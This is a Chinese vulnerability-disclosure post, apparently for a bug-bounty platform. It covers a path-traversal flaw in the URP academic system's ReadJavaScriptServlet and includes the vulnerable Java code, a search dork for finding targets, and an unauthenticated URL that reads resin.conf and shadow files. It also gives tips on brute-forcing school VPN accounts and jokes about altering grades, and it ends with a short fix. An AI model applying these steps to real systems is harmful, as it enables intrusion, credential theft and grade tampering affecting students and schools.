有一天，我听到有人管我叫深澜杀手...哥不只搞深澜好嘛...最近缺钱，求之前几个加上这个的通用的奖励喔亲~

1.38 1.5通杀。

用我挂了的高数算一下，百度大约有33页 一页10个 330个学校 大约一所学校3-5w 人，算下来是千万级别的。

没有源码我是不敢来滴，话说这个已经由p1aywind大牛发了，这个是一个点，不过大牛单纯了，这个漏洞实际是不需要登录的，而且可以轻易读取数据库连接信息，还有shadow，这就是这个漏洞的真正危害所在。求轻轻地雷劈我一下~哈哈
 

public void service(HttpServletRequest req, HttpServletResponse res)
{
BufferedReader br;
PrintWriter pw;
br = null;
pw = null;
res.setContentType("text/html;charset=GBK");
pw = res.getWriter();
String filename = req.getParameter("file"); //直接取得file
br = new BufferedReader(new InputStreamReader(getClass().getResourceAsStream(filename), "GBK"));
String s;
while ((s = br.readLine()) != null) 
pw.print(s + "\n");
Exception e;

 

特征为 intitle:urp综合教务系统-登录

随便点一个进去了不用登陆

构造http://x.x.x.x/servlet/com.runqian.base.util.ReadJavaScriptServlet?file=../../../../../../../../conf/resin.conf

查看页面源文件。
 

有了这个就可以登录到其对应的oracle数据库了，一般这个是部署在内网的，不过搞一台内网的主机对大牛们来说很简单，只要有webshell就可以，或者许多学校提供有VPN可以接入，这个默认密码一般就是跟学号一样的，需要学号的话可以去学校贴吧搜索，或者去文库搜索某某学校奖学金，然后用burp爆破即可，甚至你可以去这个学校，或者你本身就是在这个学校想操作自己成绩的坏蜀黍~

这是其中之一
 

来个破解VPN的，轻松操作数据库（这里用burp破解到大连某学校的一个账号）
 

再来个部署在外网的，影响10W+数据，密码再长也没用..求不要暴漏在外网..
 

 

当然这个漏洞光读取应用内信息也不太优秀，再来一发shadow？
 

 

 

修复方案：

限制可读取目录，过滤跨目录的关键字，限制在本应用。